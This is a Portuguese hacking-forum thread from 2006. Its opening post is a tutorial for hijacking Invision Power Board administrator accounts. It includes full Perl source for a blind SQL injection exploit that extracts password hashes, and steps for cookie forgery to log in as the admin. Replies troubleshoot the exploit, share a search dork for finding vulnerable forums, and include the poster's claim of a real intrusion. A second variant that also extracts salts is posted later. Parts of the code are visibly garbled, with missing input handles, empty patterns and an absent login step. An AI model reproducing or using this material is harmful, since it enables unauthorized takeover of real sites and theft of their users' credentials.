Segurança & Hacking => Penetration Tests => Topic started by: Emilly Rose on 20 de May , 2006, 02:39:44 AM
Title: Hackeando I.P.B 2.15
Post by: Emilly Rose on 20 de May , 2006, 02:39:44 AM
Bom galera este tuto foi retirado de h4cky0u.org, seu autor é o err0r.flawless. Como o tutorial estava em inglês eu traduzi e adaptei ele. Então aqui vai.... Requerimentos: - Active Perl - Editor the cookie - Exploits - FireFox - Uma vitima (lógico) - Uma conta no órum escolhido
* Não se preocupe os links estão no final do tópico juntamente com o exploit *
Primeiramente você precisa instalar o Active Perl (instale no c: / se estiver usando windows baixe a versão MSI ), despois ter instalado corretamente o Active Perl, abra o bloco de notas (notepad), e cole o exploit. Depois de colado, clique em Arquivo ->Salvar Como. Salve o exploit com a extensão .pl (perl) na pasta Perl\bin.
Ex: ipb.pl
Com o exploit salvo no seu computador o próximo passo é ativa-lo, para isso abra o Command Prompt ( Iniciar -> Executar -> cmd -> Ok ). Com o prompt aberto digite os seguintes comandos: - cd\ - cd Perl - cd bin - ipb.pl (ou o nome que você deu ao exploit)
Aparecerá a seguinde mensagem IPB Forum URL ? ( digite e certifique-se que a url do fórum está correta ) Pressione enter, então a seguinte mensagem irá aparecer Your username ?: ( digite o seu nome de usuário do fórum ) Pressione enter novamente Your pass ?: ( a senha para a conta designada ao usuário digitado ) Enter novamente Target userid ?: ( esta é a pessoa de quem você deseja pegar o hash. Para pegar o id do usuário é facil, procure por moderação ou moderation team. Escolhe algum admin e clique em cima de seu nome, isto o levará a página de seu profile. Note que a url seria mais ou menos assim http://www.examplesite.com/forums/index.php?showuser=1 (http://www.examplesite.com/forums/index.php?showuser=1) o número 1 seria o id do usuário. Com o número de usuário em mãos digite ele e pressione enter ) Em seguida a devida mensagem deve ser mostrada "Attempting to extract password hash from database..." Letras e números começarão a aparecer, mais ou menos assim 5b1a489cad355b07271fa2800178bc8e. Isto é o hash, usando ele podemos obter acesso a conta de admin. Próximo passo é pegar o editor de cookie, mas para isto precisaremos ter o FireFox instalado. Com o editor de cookie instalado e o firefox aberto vá ao fórum. No firefox pressione Ferramentas -> Cookie Editor. Você precisará localizar 3 coisas, primeiro "pass_hash" cookie, de um duplo click nele e substitua o valor do content pelo hash que você conseguiu, em seguida clique em "save". Depois de ter localizado o pass_hash devemos localizar o "member_id", depois de achado de um duplo clique e edite o content para o id achado anteriormente, e então salve. Por último localize "session_id" e delete. Feche o Cookie Editor e pressione o botão f5 ( atualizar ). Voilá você está logado com admin !!
#!/usr/bin/perl ############################################################################# ## IPB <=2.1.4 exploit (possibly 2.1.5 too) ## ## Brought to you by the Ykstortion security team. ## ## ## ## The bug is in the pm system so you must have a registered user. ## ## The exploit will extract a password hash from the forum's data base of ## ## the target user. ## ## You need to know the target user's member ID but it's not difficult to ## ## find out, just look under their avatar next to one of their posts. ## ## Once you have the hash, simply unset all forum cookies and set ## ## member_id to the target user's member id and pass_hash to the hash ## ## obtained from the database by this script. ## ## ## ## Usage: ## ## $ ./ipb ## ## IPB Forum URL ? forums.example.com/forums ## ## Your username ? krypt_sk1dd13 ## ## Your pass ? if_your_on_nix_this_gets_hidden ## ## Target userid ? 3637 ## ## ## ## Attempting to extract password hash from database... ## ## 537ab2d5b37ac3a3632f5d06e8e04368 ## ## Hit enter to quit. ## ## ## ## Requirements: ## ## o Perl 5 ## ## o LWP 5.64 or later ## ## o Internet access ## ## o A forum you hate/dislike ## ## o A user on said forum ## ## o 32+ PMs left till your inbox is full, if not you can still delete ## ## PMs from your inbox as the successful ones come through ## ## ## ## Credit to: Nuticulus for finding the SQL injection ## ## ## ## Have fun, you dumb skiddie. ## #############################################################################
use HTTP::Cookies; use LWP 5.64; use HTTP::Request;
# variables my $login_page = '?act=Login&CODE=01'; my $pm_page = '?act=Msg&CODE=04'; my $pose_pm_page = '?'; my $tries = 5; my $sql = ''; my $hash = ''; my $need_null = 0; my $i; my $j; my @charset = ('0' .. '9', 'a' .. 'f'); my %form = (act => 'Msg', CODE => '04', MODE => '01', OID => '', removeattachid => '', msg_title => 'asdf', bbmode => 'normal', ffont => 0, fsize => 0, fcolor => 0, LIST => ' LIST ', helpbox => 'Insert Monotype Text (alt + p)', tagcount => 0, Post => 'jkl');
# objects my $ua = LWP::UserAgent->new; my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0); my $resp;
# init the cookie jar $ua->cookie_jar ($cj);
# allow redirects on post requests push @{ $ua->requests_redirectable }, "POST";
# get user input print 'IPB Forum URL ? '; chomp (my $base_url = <STDIN>); print 'Your username ? '; chomp (my $user = <STDIN>); $form{entered_name} = $user; print 'Your pass ? '; #system 'stty -echo'; # to turn off echoing chomp (my $pass = <STDIN>); #system 'stty echo'; # to turn it back on print "\n"; print 'Target userid ? '; # it'll say next to one of their posts chomp (my $tid = <STDIN>);
# parse the given base url if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }
# did we get 200 (OK) ? if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
# was the pass right ? if ($resp->content =~ /sorry, the password was wrong/i) { die "Error: password incorrect.\n"; }
# get ourselves a post_key (and an auth_key too with newer versions) do { $resp = $ua->get ($base_url . $pm_page); } while ($tries-- && !$resp->is_success());
# reset tries $tries = 5;
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#) { $form{post_key} = $1; } else { die "Error: couldn't get a post key.\n"; } if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#) { $form{auth_key} = $1; }
# turn off buffering so chars in the hash show up straight away $| = 1;
print "\nAttempting to extract password hash from database...\n ";
OFFSET: for ($i = 0; $i < 32; ++$i) { CHAR: for ($j = 0; $j < @charset; ++$j) { # reset tries $tries = 5; print "\x08", $charset[$j]; # build sql injection $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' . (join (',', map {ord} split ('', $user))) . ') FROM ' . 'ibf_members WHERE id = ' . $tid . ' AND MID(' . 'member_login_key, ' . ($i + 1) . ', 1) = CHAR(' . ord ($charset[$j]) . ')'; $form{from_contact} = $sql; $resp = $ua->post ($base_url . $post_pm_page, \%form, referer => $base_url . $pm_page); if (!$resp->is_success()) { die "\nError: " . $resp->status_line . "\n" if (!$tries); --$tries; redo; } if ($resp->content =~ /sql error/i) { if ($need_null) { die "Error: SQL error.\n"; } else { $need_null = 1; redo OFFSET; } } elsif ($resp->content !~ /there is no such member/i) { # we have a winner ! print ' '; next OFFSET; } } # uh oh, something went wrong die "\nError: couldn't get a char for offset $i\n"; } print "\x08 \x08\nHit enter to quit.\n"; <STDIN>;
# milw0rm.com [2006-05-01] Espero que este tutorial venha a ser útil a vocês.
//Emily
Title: Re: Hackeando I.P.B 2.15
Post by: abobre on 20 de May , 2006, 02:53:22 AM
Excelente post, e ainda existe mto forum por ae na versão 2.1.5...
Parabens
ateh +
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 20 de May , 2006, 08:52:34 AM
ja tinha testado e funciona muito bem.
By Xskull.
Title: Re: Hackeando I.P.B 2.15
Post by: branco on 20 de May , 2006, 03:40:20 PM
fico rox, vlw ae esse exploit ainda nao testei nao sei se funciona, mas pra quem quiser caçar os sites pra usar, a string é essa, no google e cade, intitle:powered by invision power board ai é só entrar no site e olhar a versão, have fun !
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 20 de May , 2006, 04:34:30 PM
uhn... bom mais ele tanbem funciona com versões inferiores como a 2.0.4 por exemplo?
Title: Re: Hackeando I.P.B 2.15
Post by: spiriti on 20 de May , 2006, 05:04:54 PM
Muito bom esse tuto,valeu pela tradução,sua contribuição foi muito valiosa pra mim. Obrigadão!
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 20 de May , 2006, 05:21:57 PM
@branco Esse exploit funciona sim, pois eu consigui invadir um fórum ontem com esse exploit.
@SecurityDragon Não posso te dar certeza de que o método é o mesmo mas creio eu que sim, ai só você pegar o exploit pra versão desejada e tentar :P
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 20 de May , 2006, 08:06:14 PM
deu um erro aki olha..
Error: couldn't get a post key.
o que pode ser isso ?? i outra coisa que eu fiquei em duvida
quando ele pede a Your Pass.. o que agente bota nessa opçao ?
Title: Re: Hackeando I.P.B 2.15
Post by: branco on 20 de May , 2006, 10:19:06 PM
sua senha
nao entendi, se ele usa cookies, porque ele pede usuario e senha ? acho que é pra quando nao tem cookie, mais se tiver o cookie talvez nao precise por o user e senha
t+ have fun
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 21 de May , 2006, 12:19:03 AM
Ele pede user e senha pra logar no fórum e tentar pegar o hash do admin intendeu ?!
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 21 de May , 2006, 03:51:05 PM
Emilly Rose:
Ele pede user e senha pra logar no fórum e tentar pegar o hash do admin intendeu ?!
Pelo que eu entedi tenho que ter a senha do admin pra pegar a md5 dele isso ? se for isso entao esse exploit ta fraco pq seria bom ao contrario.. eu der o user i ele me der a md5 sem que eu bote a senha do admin.. tem exploit assim nao ?
se tiver bota ai por favor
vlww
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 21 de May , 2006, 04:48:56 PM
Da uma procura no h4cky0u e no milw0rm
Title: Re: Hackeando I.P.B 2.15
Post by: Sladrak on 21 de May , 2006, 07:12:35 PM
Hmmm...
Nao sei oq fiz de errado... mas aki nao deu nao...
deu isso aki oh "Error: could't get a post key"
Alguem sabe me dizer oq fiz de errado?
vo tenta em outros aki...
Title: Re: Hackeando I.P.B 2.15
Post by: branco on 21 de May , 2006, 08:24:11 PM
Emilly Rose, eu entendi como ele funciona mais achei meio que um erro ele fazer 2 opções, mais ao mesmo tempo é bom pra qualquer pessoa poder usar...
Quanto ao exploit ele funciona assim : vc se registra no forum que quer invadir, apos isso, execute o exploit de o SEU user e SEU password e o ID do administrador, acho que o normal é 2, mas vc pode entrar no site e olhar, basta deixar o mouse em cima do nick do administrador e ver. ex : se eu colocar a setinha do mouse, em cima do nick do FrGm aparecerar o seguinte : http://www.darkers.com.br/smf/index.php ... file;u=995 (http://www.darkers.com.br/smf/index.php?action=profile;u=995), ou seja o user dele é o numero 995 o da Emilly Rose é 219 e assim por diante, esse link com o user varia de sistema pra sistema, mas basta você observa que vai conseguir ver o id dos usuarios. t+
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 22 de May , 2006, 12:21:23 AM
olha, n sei oq ta pegando. Mas n ta dando certo.
o erro q ta dando aki eh o seguinte: Error: 500 Can't connect to www.END_DO_FORUM.com:80 (http://www.end_do_forum.com:80) (connect: Unknown error)
por acaso eh algum erro meu msm? ou eh pq nesse forum n funciona? (ja tentei em 2.1.5; e outras versoes, soh q ta dando esse erro em tds)
c alguem souber o pq, posta ae
vlw...
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 22 de May , 2006, 10:17:45 PM
@insane_of Você copiou o exploit certo? Esse exploit é para a versão 2.15
@Sladrak O seu login/senha estão corretos? Validados?
Title: Re: Hackeando I.P.B 2.15
Post by: Sladrak on 22 de May , 2006, 10:38:13 PM
@Emilly Rose
Estao sim...
Tentei varias vezes para confirmar heheh...
Hmm... 2.15 eh a mesma coisa q 2.1.5 neh?! Eu supus q sim.. mas agora vc flw em 2.15 dinovo ae fikei em duvida haushuasha... Nao abusem! hehehe...
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 22 de May , 2006, 11:57:50 PM
entao, copiei td dnovo e fui testar.
dnovo deu o msm erro.
n to entendendo oq eu to fazendo d errado aki.
alguma outra ideia?
Title: Re: Hackeando I.P.B 2.15
Post by: rog on 23 de May , 2006, 01:15:01 AM
vcs por acaso tem o firewall xp rodando ?
rog
Title: Re: Hackeando I.P.B 2.15
Post by: Sladrak on 23 de May , 2006, 01:49:12 AM
@rog
Tenho sim...
Ele seria o culpado do erro??
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 23 de May , 2006, 11:28:05 AM
Talvez sim Sladrak. Tente desativar o firewall antes de rodar o Exploit.
E outra coisa: 2.15 != 2.1.5
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: Sladrak on 23 de May , 2006, 01:39:49 PM
Hmm...
Realmente era... Desativei ele e agora parou de dar erro... vlw ae rog e HadeS...
Mas mesmo assim ainda nao consegui =/
O hash extraido por ele da sempre ZERO... trinta e dois zeros... Algo ta errado nao?
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 23 de May , 2006, 01:56:54 PM
Talvez seja porque 2.15 é diferente de 2.1.5
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 23 de May , 2006, 03:27:09 PM
Eu tentei fazer mas esta dando un erro.
Que é o seguinte:
Error : 501 protocol scheme 'c' is not supported.
obrigado pra quem tentar ajudar
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 23 de May , 2006, 06:10:03 PM
Se saiu 2.15 é porque esqueci de por um ' . ' ficando assim 2.1.5 =D
@Sladrak Isso é porque o fórum ta pactheado
@Hades Eu tinha esquecido de um ponto é 2.1.5
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 23 de May , 2006, 09:26:59 PM
É Emily, e eu nem pensei na hora. IPB 2.15 ;)
E pra quem tem dificuldade/preguiça de quebrar essa hash, faça isso Online, o prórprio Milw0rm.com fornece esse serviço pra vocês.
Title: Re: Hackeando I.P.B 2.15
Post by: Cloudy on 24 de May , 2006, 01:54:10 PM
E ae galera. Aqui tá dando erro quando vou rodar o Xpl.
O erro é o seguinte:
Can't locate HTTP/Cookies.pm in @INC (@INC contains: /usr/lib/perl5/5.8.6/i486-linux /usr/lib/perl5/5.8.6 /usr/lib/perl5/site_perl/5.8.6/i486-linux /usr/lib/perl5/site_perl/5.8.6 /usr/lib/perl5/site_perl .) at ipb_2.1.4.pl line 40. BEGIN failed--compilation aborted at ipb_2.1.4.pl line 40.
Lembrando que estou rodando ele no Linux.
Vlw
...by Cloudy
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 24 de May , 2006, 03:49:59 PM
aki ta dando o erro dos 000000..... e eu naum entendi pq oO
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 24 de May , 2006, 04:22:42 PM
Desculpa, mas o que significa: "erro dos 000000"?
Se você explicar talvez eu possa te ajudar.
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 24 de May , 2006, 04:44:19 PM
Deve ser o mesmo erro do Sladrak, onde o hash estraido so aparece 0, caso seja isso ja ouve resposta.
QuoteIsso é porque o fórum ta pactheado
100+
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 24 de May , 2006, 04:53:26 PM
Quando o hash der 000000..... É porque o fórum ta pactheado !!
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 24 de May , 2006, 05:31:02 PM
Bem, na verdade o exploit é pra IPB 2.1.4, algfuns 1.2.5 é que estão vulneraveis, não são todos.
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 24 de May , 2006, 09:42:15 PM
entendi ja vlws hades
OBS: Erro dos 00000.... = Q apareçe um monte de zero e finaliza a função do XPL xDD
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 24 de May , 2006, 10:25:43 PM
Ae galera Darkers,
bom na hora de extract HASH aparece a seguinte mensagem
0 Error:Sql error.
novamente alguem pode me ajudar com alguma informaçao sobre
Vlw galera darkers.
Title: Re: Hackeando I.P.B 2.15
Post by: rog on 24 de May , 2006, 10:44:08 PM
lol
a cada etapa do script tem um test para ver se tudo esta correndo bem
if ($resp->content =~ /sql error/i) { if ($need_null) { die "Error: SQL error.\n"; } else { $need_null = 1; redo OFFSET; }
isso esta bem no final
se a consulta mysql trouxe a senha ele da o md5 na tela se a consulta mysql deu uma mensagem de erro ele da a mensagem de erro
deve ser porque o forum e patched
rog
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 25 de May , 2006, 01:57:46 PM
Sim, como eu disse anteriormente :O
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 25 de May , 2006, 02:31:04 PM
Galera, eu aconcelho vocês a lerem os exploit antes de tudo. Leiam linha por linha. Se der algum erro, e você não achar no olho lá no exploit, abre com um editor de texto e pesquisa por uma palavra chave do erro, e por mais que você não entenda de programação, pelo meno vai ter uma idéia. ;)
Lembrando que não são todos os IPB 2.1.5 que são vuls, só alguns.
E queria corrigir dois erros do meu último post: "algfuns" ---> alguns "1.2.5" --------> 2.1.5
Falou!
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: Security on 12 de June , 2006, 12:30:09 AM
consegui tdo so na hora de localizar o "session_id" num tinha tinha varios tpw.. session_1198382 e esse sessionId sem o _ alguem sabe o q eh =/ ? flw =========================
gente nao axei o botao editar ¬¬ nao tem no cookie editor ow "session_id" e nem "session_iddoadmdoforum" e otra os meus apareceu 32 > zero 0 tentei invadi o hipermasters e otra coisa.. isso q vcs falam.. Isso é porque o fórum ta pactheado eh forum sem licenca pego na net? e funca nas versão anteriores.. flw ===========================
Error: 405 Method Not Allowed alguem sabe q q eh esse erro?
OBS: adm ou moderador por favor junte os 3 post em 1 e me diz aonde ta o botao editar ¬¬
Title: Re: Hackeando I.P.B 2.15
Post by: slul on 12 de June , 2006, 02:19:10 PM
Quote from: "insane_of"olha, n sei oq ta pegando. Mas n ta dando certo.
o erro q ta dando aki eh o seguinte: Error: 500 Can't connect to www.END_DO_FORUM.com:80 (http://www.end_do_forum.com:80) (connect: Unknown error)
por acaso eh algum erro meu msm? ou eh pq nesse forum n funciona? (ja tentei em 2.1.5; e outras versoes, soh q ta dando esse erro em tds)
c alguem souber o pq, posta ae
vlw...
Normalmente ocorere esse erro depois de um DoS ou DDoS
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 12 de June , 2006, 03:59:01 PM
Para ser mais exato, o fórum não está respondendo a sua requisição de conexão.
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: kmrafa on 12 de June , 2006, 07:11:37 PM
no 2 .1.4 funfa? ou tem outro xpl?
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 12 de June , 2006, 07:22:46 PM
Esse exploit é para o IPB 2.1.4, e PODE funcionar em um 2.1.5.
HadeS
Title: Re: Hackeando I.P.B 2.15
Post by: Skayler on 13 de June , 2006, 11:24:04 AM
Lembrando novamente ( meu post sumiu ): Invision Power Board 2.15 NÂO existe. O que existe é 2.1.5, o nosso amigo Emilly Rose erro, hehe... Eu tenho certeza ABSOLUTA que o 2.15 não existe, e sim 2.1.5. Inté
Title: Re: Hackeando I.P.B 2.15
Post by: HadeS on 13 de June , 2006, 07:22:31 PM
Eu postei um exploit mais recente, e que foi desenvolvido para o IPB 2.1.5 mesmo (Esse é pro 2.1.4).
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 16 de June , 2006, 12:08:10 PM
Eu peguei um exploit que pega o hash e o salt Se quiserem avise que eu posto
Title: Re: Hackeando I.P.B 2.15
Post by: Froz3nnn on 16 de June , 2006, 02:46:47 PM
@Emily
Eu tambem estou com esse exploit, mas eu nao to conseguindo achar o passwords pro e nem usa-lo
Do resto é muito bom o exploit
Title: Re: Hackeando I.P.B 2.15
Post by: Anonymous on 17 de June , 2006, 12:37:04 PM
Emilly Rose
Compartilhe esse exploit conosco
Abraços!
Title: Re: Hackeando I.P.B 2.15
Post by: Emilly Rose on 17 de June , 2006, 11:09:20 PM
Aqui vai o exploit
#!/usr/bin/perl ############################################################################# ## IPB <=2.1.4 exploit (possibly 2.1.5 too) ## Brought to you by SHAK AND TEMUJIN. ## Originally by the Ykstortion security team. ## ## The exploit will retrieve the MD5 pass hash along with the case ## sensitive salt :) ## ## The bug is in the pm system so you must have a registered user. ## The exploit will extract a password hash from the forum's data base of ## the target user. ## You need to know the target user's member ID but it's not difficult to ## find out, just look under their avatar next to one of their posts. ## After you run the exploit, crack the hash with the salt ## and log into the ACP :) ## ## Usage: ## $ ./ipb ## IPB Forum URL ? forums.example.com/forums ## Your username ? krypt_sk1dd13 ## Your pass ? if_your_on_nix_this_gets_hidden ## Target userid ? 3637 ## ## Attempting to extract password hash from database... ## 537ab2d5b37ac3a3632f5d06e8e04368 ## Attempting to extract password salt from database... ## _jnDE ## Hit enter to quit. ## ## Requirements: ## o Perl 5 ## o LWP 5.64 or later ## o Internet access ## o A forum ## o A user on said forum ## o 32+ PMs left till your inbox is full, if not you can still delete ## PMs from your inbox as the successful ones come through ## ## Credit to: Nuticulus for finding the SQL injection ## ###########################################################################
use HTTP::Cookies; use LWP 5.64; use HTTP::Request;
# variables my $login_page = '?act=Login&CODE=01'; my $pm_page = '?act=Msg&CODE=04'; my $pose_pm_page = '?'; my $tries = 5; my $sql = ''; my $hash = ''; my $need_null = 0; my $i; my $j;
my @charset = ('0'..'9','a'..'f');
my %form = (act => 'Msg', CODE => '04', MODE => '01', OID => '', removeattachid => '', msg_title => 'asdf', bbmode => 'normal', ffont => 0, fsize => 0, fcolor => 0, LIST => ' LIST ', helpbox => 'Insert Monotype Text (alt + p)', tagcount => 0, Post => 'jkl');
# objects my $ua = LWP::UserAgent->new; my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0); my $resp;
# init the cookie jar $ua->cookie_jar ($cj);
# allow redirects on post requests push @{ $ua->requests_redirectable }, "POST";
# get user input print 'IPB Forum URL ? '; chomp (my $base_url = ); print 'Your username ? '; chomp (my $user = ); $form{entered_name} = $user; print 'Your pass ? '; #system 'stty -echo'; # to turn off echoing chomp (my $pass = ); #system 'stty echo'; # to turn it back on print "\n"; print 'Target userid ? '; # it'll say next to one of their posts chomp (my $tid = );
# parse the given base url if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }
# did we get 200 (OK) ? if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
# was the pass right ? if ($resp->content =~ /sorry, the password was wrong/i) { die "Error: password incorrect.\n"; }
# get ourselves a post_key (and an auth_key too with newer versions) do { $resp = $ua->get ($base_url . $pm_page); } while ($tries-- && !$resp->is_success());
# reset tries $tries = 5;
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } if ($resp->content =~ m##) { $form{post_key} = $1; } else { die "Error: couldn't get a post key.\n"; } if ($resp->content =~ m##) { $form{auth_key} = $1; }
# turn off buffering so chars in the hash show up straight away $| = 1;
print "\nAttempting to extract password hash from database...\n ";
OFFSET: for ($i = 0; $i < 32; ++$i) { CHAR: for ($j = 0; $j < scalar(@charset); ++$j) { # reset tries $tries = 5; print "\x08", $charset[$j]; # build sql injection $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR(' . (join (',', map {ord} split ('', $user))) . ') FROM ' . 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID(' . 'converge_pass_hash, ' . ($i + 1) . ', 1) = CHAR(' . ord ($charset[$j]) . ')'; $form{from_contact} = $sql; $resp = $ua->post ($base_url . $post_pm_page, \%form, referer => $base_url . $pm_page); if (!$resp->is_success()) { die "\nError: " . $resp->status_line . "\n" if (!$tries); --$tries; redo; } if ($resp->content =~ /sql error/i) { if ($need_null) { die "Error: SQL error.\n"; } else { $need_null = 1; redo OFFSET; } } elsif ($resp->content !~ /there is no such member/i) { # we have a winner ! print ' '; next OFFSET; } } # uh oh, something went wrong print "\nError: couldn't get a char for offset $i\n"; }